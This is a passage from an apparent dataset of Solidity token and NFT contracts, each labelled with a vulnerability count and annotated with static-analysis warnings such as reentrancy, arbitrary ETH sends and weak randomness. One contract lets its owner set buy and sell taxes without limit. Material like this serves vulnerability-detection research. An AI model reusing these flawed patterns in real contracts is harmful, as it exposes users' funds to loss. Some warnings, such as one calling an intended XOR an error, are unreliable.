_taxWallet && to != _taxWallet) {\n taxAmount =\n (amount *\n (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )) /\n 100;\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 5f072c6\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount =\n (amount *\n (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )) /\n 100;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 6d84cfd\n\t\t\t\t// reentrancy-eth | ID: fa63a27\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 6d84cfd\n\t\t\t\t\t// reentrancy-eth | ID: fa63a27\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n uint tokenToBurn = (taxAmount * _percentTokenToBurn) / 100;\n\n\t\t\t// reentrancy-eth | ID: fa63a27\n _balances[address(0)] += tokenToBurn;\n\n\t\t\t// reentrancy-eth | ID: fa63a27\n _balances[address(this)] += taxAmount - tokenToBurn;\n\n\t\t\t// reentrancy-events | ID: 6d84cfd\n emit Transfer(from, address(this), taxAmount - tokenToBurn);\n\n\t\t\t// reentrancy-events | ID: 6d84cfd\n emit Transfer(from, address(0), tokenToBurn);\n }\n\n\t\t// reentrancy-eth | ID: fa63a27\n _balances[from] -= amount;\n\n\t\t// reentrancy-eth | ID: fa63a27\n _balances[to] += amount - taxAmount;\n\n\t\t// reentrancy-events | ID: 6d84cfd\n emit Transfer(from, to, amount - taxAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: b1f6ad5): TokenX.swapTokensForEth(uint256) has external calls inside a loop path[1] = uniswapV2Router.WETH()\n\t// Recommendation for b1f6ad5: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 7502983): TokenX.swapTokensForEth(uint256) has external calls inside a loop uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp)\n\t// Recommendation for 7502983: Favor pull over push strategy for external calls.\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n\t\t// calls-loop | ID: b1f6ad5\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6d84cfd\n\t\t// reentrancy-events | ID: 6a8dbdc\n\t\t// reentrancy-benign | ID: 0fed58d\n\t\t// calls-loop | ID: 7502983\n\t\t// reentrancy-eth | ID: fa63a27\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function claimTaxes(uint256 tokenAmount) external {\n require(msg.sender == _taxWallet);\n\n swapTokensForEth(tokenAmount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: d85b099): TokenX.sendETHToFee(uint256) has external calls inside a loop _taxWallet.transfer(amount)\n\t// Recommendation for d85b099: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 56d421d): TokenX.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 56d421d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6d84cfd\n\t\t// reentrancy-events | ID: 6a8dbdc\n\t\t// calls-loop | ID: d85b099\n\t\t// reentrancy-eth | ID: fa63a27\n\t\t// arbitrary-send-eth | ID: 56d421d\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1640364): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1640364: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1195881): TokenX.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1195881: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cdd7046): TokenX.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for cdd7046: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b8abd86): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b8abd86: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external payable onlyOwner returns (address) {\n require(!tradingOpen, \"Trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 1640364\n\t\t// reentrancy-eth | ID: b8abd86\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 1640364\n\t\t// unused-return | ID: cdd7046\n\t\t// reentrancy-eth | ID: b8abd86\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 1640364\n\t\t// unused-return | ID: 1195881\n\t\t// reentrancy-eth | ID: b8abd86\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 1640364\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b8abd86\n tradingOpen = true;\n\n return address(uniswapV2Pair);\n }\n\n function batchTransfer(address[] memory receivers, uint amount) external {\n uint receiversCount = receivers.length;\n\n require(receiversCount != 0, \"No receivers specified\");\n\n require(amount != 0, \"Amount must be greater than zero\");\n\n for (uint i = 0; i < receiversCount; i++) {\n _transfer(msg.sender, receivers[i], amount);\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 409822c): TokenX.permit(address,address,uint256,uint256,uint8,bytes32,bytes32) uses timestamp for comparisons Dangerous comparisons block.timestamp > deadline\n\t// Recommendation for 409822c: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3c16431): TokenX.permit(address,address,uint256,uint256,uint8,bytes32,bytes32).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3c16431: Rename the local variables that shadow another component.\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual {\n\t\t// timestamp | ID: 409822c\n if (block.timestamp > deadline) {\n revert ERC2612ExpiredSignature(deadline);\n }\n\n bytes32 structHash = keccak256(\n abi.encode(\n PERMIT_TYPEHASH,\n owner,\n spender,\n value,\n _useNonce(owner),\n deadline\n )\n );\n\n bytes32 hash = _hashTypedDataV4(structHash);\n\n address signer = ECDSA.recover(hash, v, r, s);\n\n if (signer != owner) {\n revert ERC2612InvalidSigner(signer, owner);\n }\n\n _approve(owner, spender, value);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1de378c): TokenX.nonces(address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1de378c: Rename the local variables that shadow another component.\n function nonces(\n address owner\n ) public view virtual override(IERC20Permit, Nonces) returns (uint256) {\n return super.nonces(owner);\n }\n\n function DOMAIN_SEPARATOR() external view virtual returns (bytes32) {\n return _domainSeparatorV4();\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10317.sol", "size_bytes": 79262, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed ownerAddress,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address ownerAddress,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public buyTax = 17;\n\n uint256 public sellTax = 24;\n\n address public owner;\n\n modifier onlyOwner() {\n require(\n _msgSender() == owner,\n \"Only the contract owner can call this function.\"\n );\n\n _;\n }\n\n event TaxUpdated(uint256 buyTax, uint256 sellTax);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 initialSupply\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n owner = _msgSender();\n\n _totalSupply = initialSupply * 10 ** decimals();\n\n _balances[owner] = _totalSupply;\n\n emit Transfer(address(0), owner, _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _transfer(sender, to, amount, false);\n\n return true;\n }\n\n function allowance(\n address ownerAddress,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[ownerAddress][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount, true);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, allowance(sender, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(sender, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(sender, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function setBuyTax(uint256 _buyTax) external onlyOwner {\n buyTax = _buyTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function setSellTax(uint256 _sellTax) external onlyOwner {\n sellTax = _sellTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount,\n bool isSell\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 taxAmount = isSell\n ? ((amount * sellTax) / 100)\n : ((amount * buyTax) / 100);\n\n uint256 netAmount = amount - taxAmount;\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += netAmount;\n }\n\n emit Transfer(from, to, netAmount);\n\n if (taxAmount > 0) {\n _balances[owner] += taxAmount;\n\n emit Transfer(from, owner, taxAmount);\n }\n\n _afterTokenTransfer(from, to, netAmount);\n }\n\n function _approve(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n ownerAddress != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[ownerAddress][spender] = amount;\n\n emit Approval(ownerAddress, spender, amount);\n }\n\n function _spendAllowance(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(ownerAddress, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(ownerAddress, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function renounceOwnership() external onlyOwner {\n emit OwnershipTransferred(\n owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n\n owner = address(0x000000000000000000000000000000000000dEaD);\n }\n\n function balanceEndsIn(\n address wallet,\n uint256 lastDigit\n ) public view returns (bool) {\n require(lastDigit < 10, \"The last digit must be between 0 and 9\");\n\n uint256 balance = balanceOf(wallet);\n\n return balance % 10 == lastDigit;\n }\n\n function isWithinHour(uint8 hour) public view returns (bool) {\n require(hour < 24, \"Hour must be between 0 and 23\");\n\n\t\t// weak-prng | ID: 873ef66\n uint256 currentHour = (block.timestamp / 60 / 60) % 24;\n\n\t\t// timestamp | ID: dfe76bb\n\t\t// incorrect-equality | ID: 45ce2ed\n return currentHour == hour;\n }\n}\n\ncontract FaustTweet is ERC20 {\n constructor() ERC20(unicode\"Discord Cat\", unicode\"TIMOTHEE\", 1000000000) {}\n}\n", "file_name": "solidity_code_10318.sol", "size_bytes": 8121, "vulnerability": 0 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\ninterface IERC165 {\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n\ninterface IERC721 is IERC165 {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n function approve(address to, uint256 tokenId) external;\n\n function setApprovalForAll(address operator, bool approved) external;\n\n function getApproved(\n uint256 tokenId\n ) external view returns (address operator);\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n}\n\ninterface IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\ninterface IERC721Metadata is IERC721 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Math {\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n return a / b;\n }\n\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d88cabc): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for d88cabc: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8b1b0d9): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 8b1b0d9: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f068e5d): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for f068e5d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: beeeb7b): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for beeeb7b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b47fff5): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for b47fff5: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 60388a8): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 60388a8: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: eaef79b): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for eaef79b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2ea59dc): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 2ea59dc: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 1606a2e): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 1606a2e: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: d88cabc\n\t\t\t\t// divide-before-multiply | ID: 8b1b0d9\n\t\t\t\t// divide-before-multiply | ID: f068e5d\n\t\t\t\t// divide-before-multiply | ID: b47fff5\n\t\t\t\t// divide-before-multiply | ID: 60388a8\n\t\t\t\t// divide-before-multiply | ID: eaef79b\n\t\t\t\t// divide-before-multiply | ID: 2ea59dc\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: beeeb7b\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 2ea59dc\n\t\t\t// incorrect-exp | ID: 1606a2e\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: b47fff5\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: d88cabc\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 60388a8\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: f068e5d\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: eaef79b\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 8b1b0d9\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: beeeb7b\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n ? 1\n : 0\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nabstract contract ERC165 is IERC165 {\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error 